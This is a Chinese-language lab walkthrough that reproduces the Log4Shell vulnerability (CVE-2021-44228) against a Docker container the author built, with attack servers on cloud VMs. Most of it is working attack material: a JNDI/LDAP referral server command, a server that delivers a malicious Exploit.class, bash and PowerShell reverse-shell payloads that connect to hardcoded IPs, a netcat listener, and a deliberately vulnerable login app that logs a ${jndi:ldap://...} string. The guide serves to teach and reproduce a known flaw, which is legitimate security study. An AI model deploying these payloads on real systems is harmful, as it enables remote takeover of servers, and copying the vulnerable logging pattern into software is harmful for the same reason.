跳至主要内容

[CVE-2021-44228] log4j 漏洞復現

概述

本文會在本地端 windows 中的 docker 模擬一個含有漏洞的 log4j 環境,並且將攻擊用的 server 放在 gcp 上,最後會利用反向 shell 來使我們可以在 docker 中執行任意指令。

雲端環境

在雲端的環境中,我們使用了三台 VM (實際上不需要這麼多,只是為了區分功能),特別要注意的是有關防火牆的設定,有使用到的 port 記得都要開啟輸入 / 輸出的防火牆。

image

有另一點值得注意的是,我們在使用時都是使用本地 windows 的 powershell 來連線 gce,我在操作時發現使用 cloud shell 似乎沒辦法正常接收 reverse shell,建議如果有要進行操作的話可以在 Compute Engine -> 中繼資料 -> 安全殼層金鑰 中加入自己的金鑰來進行 ssh。

LDAP 主機架設

在 LDAP 主機中,我們參考了 這篇 GitHub 上的做法,並使用以下指令來執行 :

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://35.221.253.187:8080/#Exploit

將路徑指到放有惡意 class 的 server 上,再次強調必須開啟防火牆才能使用。

成功之後會出現以下訊息 :

Listening on 0.0.0.0:1389

收到指令後會出現以下訊息 :

Send LDAP reference result for Exploit redirecting to http://35.221.253.187:8080/Exploit.class

惡意 class 主機架設

主要有兩個檔案 DetailedHttpServer.javaExploit.java,分別是用來建立一個簡單的 http server 和設定 reverse bash (惡意檔案)。

DetailedHttpServer.java
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpExchange;

public class DetailedHttpServer {
public static void main(String[] args) throws IOException {
HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
server.createContext("/", DetailedHttpServer::handleRequest);
server.start();
System.out.println("Server started on port 8080");
}

private static void handleRequest(HttpExchange exchange) throws IOException {
String remoteAddress = exchange.getRemoteAddress().toString();
String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
String timestamp = LocalDateTime.now().format(DateTimeFormatter.ISO_LOCAL_DATE_TIME);

System.out.println("-------- New Request --------");
System.out.println("Time: " + timestamp);
System.out.println("Remote Address: " + remoteAddress);
System.out.println("Method: " + method);
System.out.println("Path: " + path);
System.out.println("-----------------------------");

try {
byte[] response = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("Exploit.class"));
exchange.getResponseHeaders().set("Content-Type", "application/octet-stream");
exchange.sendResponseHeaders(200, response.length);
try (OutputStream os = exchange.getResponseBody()) {
os.write(response);
}
System.out.println("File sent successfully.");
} catch (IOException e) {
String errorMessage = "File not found or error reading file.";
exchange.sendResponseHeaders(404, errorMessage.length());
try (OutputStream os = exchange.getResponseBody()) {
os.write(errorMessage.getBytes());
}
System.out.println("Error: " + errorMessage);
}
System.out.println("Request handled.");
}
}
Exploit.java
import java.io.IOException;

public class Exploit {
static {
try {
String host = "104.199.254.153";
int port = 8000;

String[] command = {
"bash", "-c", String.format(
"bash -i >& /dev/tcp/%s/%d 0>&1",
host,
port
)
};

ProcessBuilder pb = new ProcessBuilder(command);
pb.redirectErrorStream(true);
Process process = pb.start();
System.out.println("Reverse shell command executed.");
} catch (IOException e) {
e.printStackTrace();
}
}
}

上面的 Exploit.java 使用 bash 的原因是因為我們的受害者電腦是在 docker 環境下,因此我們選擇使用 bash,如果我們的目標電腦是 windows 的話,我們可以改為使用 powershell :

Exploit.java
import java.io.IOException;

public class Exploit {
static {
try {
String host = "104.199.254.153";
int port = 8000;
String payload = String.format(
"$client = New-Object System.Net.Sockets.TCPClient('%s',%d);" +
"$stream = $client.GetStream();" +
"$writer = New-Object System.IO.StreamWriter($stream);" +
"$reader = New-Object System.IO.StreamReader($stream);" +
"$writer.AutoFlush = $true;" +
"while($true) {" +
"$command = $reader.ReadLine();" +
"if ($command -eq 'exit') { break }" +
"$output = try { Invoke-Expression $command 2>&1 | Out-String } catch { $_.Exception.Message }" +
"$writer.WriteLine($output)" +
"}" +
"$client.Close()",
host, port
);

String[] command = {
"powershell.exe",
"-NoProfile",
"-ExecutionPolicy", "Bypass",
"-Command", payload
};

ProcessBuilder pb = new ProcessBuilder(command);
pb.redirectErrorStream(true);
Process process = pb.start();
System.out.println("PowerShell reverse shell command executed.");
} catch (IOException e) {
e.printStackTrace();
}
}
}

重要的是,受限於 log4j 的版本,我們需要使用舊版的 java 來進行編譯,指令如下 :

sudo javac -source 1.8 -target 1.8 DetailedHttpServer.java
sudo javac -source 1.8 -target 1.8 Exploit.java

接著啟動 http server :

java DetailedHttpServer

如果成功啟動會出現以下訊息 :

Server started on port 8080

如果有收到 request 會出現以下訊息 :

-------- New Request --------
Time: 2024-09-09T14:33:26.037407574
Remote Address: /140.112.107.38:55906
Method: GET
Path: /Exploit.class
-----------------------------
File sent successfully.
Request handled.

Reverse Shell 主機架設

最後這個主機的功能就是用來接收 reverse shell,首先需要安裝 netcat :

sudo apt-get install netcat-openbsd

接著監聽 8000 port :

nc -vnlp 8000

啟動後會出現以下訊息 :

Listening on 0.0.0.0 8000

如果成功監聽會出現以下訊息 :

Connection received on 140.112.107.38 55907
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4#

看到訊息後就表示我們成功進入含有漏洞的 docker 容器中,我們可以直接執行指令。

受害者主機架設

在受害者的電腦中,首先需要建立一個 java 的 http server 來接收使用者打的 api, 接著使用 docker 來構建一個含有漏洞的 log4j 環境。

VulnerableApp.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.Executors;

public class VulnerableApp {
private static final Logger logger = LogManager.getLogger(VulnerableApp.class);

public static void main(String[] args) throws IOException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
server.createContext("/login", new LoginHandler());
server.setExecutor(Executors.newFixedThreadPool(10));
server.start();

System.out.println("Server started on port 8080");
}

static class LoginHandler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
if ("POST".equals(exchange.getRequestMethod())) {
String requestBody = readRequestBody(exchange.getRequestBody());
String[] params = requestBody.split("&");
String username = "";
String password = "";
for (String param : params) {
String[] keyValue = param.split("=");
if (keyValue.length == 2) {
if ("username".equals(keyValue[0])) {
username = keyValue[1];
} else if ("password".equals(keyValue[0])) {
password = keyValue[1];
}
}
}

boolean loginSuccess = login(username, password);
String response = loginSuccess ? "Login Successful!" : "Login Failed!";

exchange.sendResponseHeaders(200, response.length());
try (OutputStream os = exchange.getResponseBody()) {
os.write(response.getBytes());
}
} else {
String response = "Method Not Allowed";
exchange.sendResponseHeaders(405, response.length());
try (OutputStream os = exchange.getResponseBody()) {
os.write(response.getBytes());
}
}
}

private boolean login(String username, String password) {
logger.error("Login attempt: ${jndi:ldap://35.229.194.59:1389/Exploit}" + username);
return "admin".equals(username) && "password".equals(password);
}

private String readRequestBody(InputStream is) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
byte[] data = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, bytesRead);
}
return new String(buffer.toByteArray(), StandardCharsets.UTF_8);
}
}
}
Dockerfile
FROM openjdk:8-jdk-alpine

WORKDIR /app

RUN apk add --no-cache wget curl

RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar
RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar

COPY VulnerableApp.java /app

RUN javac -cp /app/log4j-core-2.14.1.jar:/app/log4j-api-2.14.1.jar VulnerableApp.java

EXPOSE 8080

CMD ["java", "-cp", ".:/app/log4j-core-2.14.1.jar:/app/log4j-api-2.14.1.jar", "VulnerableApp"]
docker build -t vulnerable-app .

docker run -p 8080:8080 vulnerable-app

由於我們前面要求回傳的 shell 是 bash,但在這個 container 中並沒有 bash, 因此我們需要在 container 中安裝 bash :

apk add --no-cache bash

接著輸入 which bash 來確認是否安裝成功。

如果我們不想使用 docker 來建立環境,我們也可以直接在本地端依據以下步驟來建立環境 :

  1. 首先到 這個網站 安裝 java-8
  2. 接著安裝 log4j-core-2.14.1.jarlog4j-api-2.14.1.jar
  3. 在 powershell 中執行以下指令
javac -cp "log4j-core-2.14.1.jar;log4j-api-2.14.1.jar" VulnerableApp.java
java -cp ".;log4j-core-2.14.1.jar;log4j-api-2.14.1.jar" VulnerableApp

要注意在 windows 中沒有 bash,因此在 Exploit.java 中的指令要改為 powershell。

測試

我們可以在 powershell 中使用 wget 來測試是否成功 :

wget -Method Post -Uri http://localhost:8080/login -Body "username=admin&password=password"

應該可以看到以下成功訊息 :

StatusCode        : 200
StatusDescription : OK
Content : {76, 111, 103, 105...}
RawContent : HTTP/1.1 200 OK
Content-Length: 17
Date: Mon, 09 Sep 2024 14:33:25 GMT

Login Successful!
Headers : {[Content-Length, 17], [Date, Mon, 09 Sep 2024 14:33:25 GMT]}
RawContentLength : 17

接著我們應該也可以在 reverse shell 中看到 bash 成功跳出,代表這次的攻擊成功。

參考